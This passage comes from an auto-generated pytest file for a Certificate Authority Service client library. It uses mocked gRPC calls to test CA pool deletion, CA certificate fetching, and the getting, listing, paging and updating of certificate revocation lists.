# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.delete_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteCaPoolRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_delete_ca_pool_async_from_dict():
await test_delete_ca_pool_async(request_type=dict)
def test_delete_ca_pool_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteCaPoolRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_ca_pool), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.delete_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_ca_pool_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteCaPoolRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_ca_pool), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.delete_ca_pool(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_ca_pool_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_ca_pool(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_delete_ca_pool_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_ca_pool(
service.DeleteCaPoolRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_ca_pool_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_ca_pool), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_ca_pool(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_delete_ca_pool_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_ca_pool(
service.DeleteCaPoolRequest(), name="name_value",
)
@pytest.mark.parametrize("request_type", [service.FetchCaCertsRequest, dict,])
def test_fetch_ca_certs(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.fetch_ca_certs), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.FetchCaCertsResponse()
response = client.fetch_ca_certs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.FetchCaCertsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, service.FetchCaCertsResponse)
def test_fetch_ca_certs_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.fetch_ca_certs), "__call__") as call:
client.fetch_ca_certs()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.FetchCaCertsRequest()
@pytest.mark.asyncio
async def test_fetch_ca_certs_async(
transport: str = "grpc_asyncio", request_type=service.FetchCaCertsRequest
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.fetch_ca_certs), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.FetchCaCertsResponse()
)
response = await client.fetch_ca_certs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.FetchCaCertsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, service.FetchCaCertsResponse)
@pytest.mark.asyncio
async def test_fetch_ca_certs_async_from_dict():
await test_fetch_ca_certs_async(request_type=dict)
def test_fetch_ca_certs_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.FetchCaCertsRequest()
request.ca_pool = "ca_pool/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.fetch_ca_certs), "__call__") as call:
call.return_value = service.FetchCaCertsResponse()
client.fetch_ca_certs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "ca_pool=ca_pool/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_fetch_ca_certs_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.FetchCaCertsRequest()
request.ca_pool = "ca_pool/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.fetch_ca_certs), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.FetchCaCertsResponse()
)
await client.fetch_ca_certs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "ca_pool=ca_pool/value",) in kw["metadata"]
def test_fetch_ca_certs_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.fetch_ca_certs), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.FetchCaCertsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.fetch_ca_certs(ca_pool="ca_pool_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].ca_pool
mock_val = "ca_pool_value"
assert arg == mock_val
def test_fetch_ca_certs_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.fetch_ca_certs(
service.FetchCaCertsRequest(), ca_pool="ca_pool_value",
)
@pytest.mark.asyncio
async def test_fetch_ca_certs_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.fetch_ca_certs), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.FetchCaCertsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.FetchCaCertsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.fetch_ca_certs(ca_pool="ca_pool_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].ca_pool
mock_val = "ca_pool_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_fetch_ca_certs_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.fetch_ca_certs(
service.FetchCaCertsRequest(), ca_pool="ca_pool_value",
)
@pytest.mark.parametrize(
"request_type", [service.GetCertificateRevocationListRequest, dict,]
)
def test_get_certificate_revocation_list(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_revocation_list), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CertificateRevocationList(
name="name_value",
sequence_number=1601,
pem_crl="pem_crl_value",
access_url="access_url_value",
state=resources.CertificateRevocationList.State.ACTIVE,
revision_id="revision_id_value",
)
response = client.get_certificate_revocation_list(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetCertificateRevocationListRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CertificateRevocationList)
assert response.name == "name_value"
assert response.sequence_number == 1601
assert response.pem_crl == "pem_crl_value"
assert response.access_url == "access_url_value"
assert response.state == resources.CertificateRevocationList.State.ACTIVE
assert response.revision_id == "revision_id_value"
def test_get_certificate_revocation_list_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_revocation_list), "__call__"
) as call:
client.get_certificate_revocation_list()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetCertificateRevocationListRequest()
@pytest.mark.asyncio
async def test_get_certificate_revocation_list_async(
transport: str = "grpc_asyncio",
request_type=service.GetCertificateRevocationListRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_revocation_list), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CertificateRevocationList(
name="name_value",
sequence_number=1601,
pem_crl="pem_crl_value",
access_url="access_url_value",
state=resources.CertificateRevocationList.State.ACTIVE,
revision_id="revision_id_value",
)
)
response = await client.get_certificate_revocation_list(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetCertificateRevocationListRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CertificateRevocationList)
assert response.name == "name_value"
assert response.sequence_number == 1601
assert response.pem_crl == "pem_crl_value"
assert response.access_url == "access_url_value"
assert response.state == resources.CertificateRevocationList.State.ACTIVE
assert response.revision_id == "revision_id_value"
@pytest.mark.asyncio
async def test_get_certificate_revocation_list_async_from_dict():
await test_get_certificate_revocation_list_async(request_type=dict)
def test_get_certificate_revocation_list_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetCertificateRevocationListRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_revocation_list), "__call__"
) as call:
call.return_value = resources.CertificateRevocationList()
client.get_certificate_revocation_list(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_certificate_revocation_list_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetCertificateRevocationListRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_revocation_list), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CertificateRevocationList()
)
await client.get_certificate_revocation_list(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_certificate_revocation_list_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_revocation_list), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CertificateRevocationList()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_certificate_revocation_list(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_certificate_revocation_list_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_certificate_revocation_list(
service.GetCertificateRevocationListRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_certificate_revocation_list_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_revocation_list), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CertificateRevocationList()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CertificateRevocationList()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_certificate_revocation_list(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_certificate_revocation_list_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_certificate_revocation_list(
service.GetCertificateRevocationListRequest(), name="name_value",
)
@pytest.mark.parametrize(
"request_type", [service.ListCertificateRevocationListsRequest, dict,]
)
def test_list_certificate_revocation_lists(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_revocation_lists), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListCertificateRevocationListsResponse(
next_page_token="next_page_token_value", unreachable=["unreachable_value"],
)
response = client.list_certificate_revocation_lists(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListCertificateRevocationListsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListCertificateRevocationListsPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
def test_list_certificate_revocation_lists_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_revocation_lists), "__call__"
) as call:
client.list_certificate_revocation_lists()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListCertificateRevocationListsRequest()
@pytest.mark.asyncio
async def test_list_certificate_revocation_lists_async(
transport: str = "grpc_asyncio",
request_type=service.ListCertificateRevocationListsRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_revocation_lists), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListCertificateRevocationListsResponse(
next_page_token="next_page_token_value",
unreachable=["unreachable_value"],
)
)
response = await client.list_certificate_revocation_lists(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListCertificateRevocationListsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListCertificateRevocationListsAsyncPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
@pytest.mark.asyncio
async def test_list_certificate_revocation_lists_async_from_dict():
await test_list_certificate_revocation_lists_async(request_type=dict)
def test_list_certificate_revocation_lists_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListCertificateRevocationListsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_revocation_lists), "__call__"
) as call:
call.return_value = service.ListCertificateRevocationListsResponse()
client.list_certificate_revocation_lists(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_certificate_revocation_lists_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListCertificateRevocationListsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_revocation_lists), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListCertificateRevocationListsResponse()
)
await client.list_certificate_revocation_lists(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_certificate_revocation_lists_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_revocation_lists), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListCertificateRevocationListsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_certificate_revocation_lists(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_certificate_revocation_lists_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_certificate_revocation_lists(
service.ListCertificateRevocationListsRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_certificate_revocation_lists_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_revocation_lists), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListCertificateRevocationListsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListCertificateRevocationListsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_certificate_revocation_lists(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_certificate_revocation_lists_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_certificate_revocation_lists(
service.ListCertificateRevocationListsRequest(), parent="parent_value",
)
def test_list_certificate_revocation_lists_pager(transport_name: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_revocation_lists), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[
resources.CertificateRevocationList(),
resources.CertificateRevocationList(),
resources.CertificateRevocationList(),
],
next_page_token="abc",
),
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[], next_page_token="def",
),
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[resources.CertificateRevocationList(),],
next_page_token="ghi",
),
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[
resources.CertificateRevocationList(),
resources.CertificateRevocationList(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_certificate_revocation_lists(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.CertificateRevocationList) for i in results)
def test_list_certificate_revocation_lists_pages(transport_name: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_revocation_lists), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[
resources.CertificateRevocationList(),
resources.CertificateRevocationList(),
resources.CertificateRevocationList(),
],
next_page_token="abc",
),
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[], next_page_token="def",
),
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[resources.CertificateRevocationList(),],
next_page_token="ghi",
),
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[
resources.CertificateRevocationList(),
resources.CertificateRevocationList(),
],
),
RuntimeError,
)
pages = list(client.list_certificate_revocation_lists(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_certificate_revocation_lists_async_pager():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_revocation_lists),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[
resources.CertificateRevocationList(),
resources.CertificateRevocationList(),
resources.CertificateRevocationList(),
],
next_page_token="abc",
),
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[], next_page_token="def",
),
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[resources.CertificateRevocationList(),],
next_page_token="ghi",
),
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[
resources.CertificateRevocationList(),
resources.CertificateRevocationList(),
],
),
RuntimeError,
)
async_pager = await client.list_certificate_revocation_lists(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(
isinstance(i, resources.CertificateRevocationList) for i in responses
)
@pytest.mark.asyncio
async def test_list_certificate_revocation_lists_async_pages():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_revocation_lists),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[
resources.CertificateRevocationList(),
resources.CertificateRevocationList(),
resources.CertificateRevocationList(),
],
next_page_token="abc",
),
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[], next_page_token="def",
),
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[resources.CertificateRevocationList(),],
next_page_token="ghi",
),
service.ListCertificateRevocationListsResponse(
certificate_revocation_lists=[
resources.CertificateRevocationList(),
resources.CertificateRevocationList(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_certificate_revocation_lists(request={})
).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize(
"request_type", [service.UpdateCertificateRevocationListRequest, dict,]
)
def test_update_certificate_revocation_list(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_revocation_list), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.update_certificate_revocation_list(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateCertificateRevocationListRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_update_certificate_revocation_list_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_revocation_list), "__call__"
) as call:
client.update_certificate_revocation_list()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateCertificateRevocationListRequest()
@pytest.mark.asyncio
async def test_update_certificate_revocation_list_async(
transport: str = "grpc_asyncio",
request_type=service.UpdateCertificateRevocationListRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_revocation_list), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.update_certificate_revocation_list(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateCertificateRevocationListRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_update_certificate_revocation_list_async_from_dict():
await test_update_certificate_revocation_list_async(request_type=dict)
def test_update_certificate_revocation_list_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateCertificateRevocationListRequest()
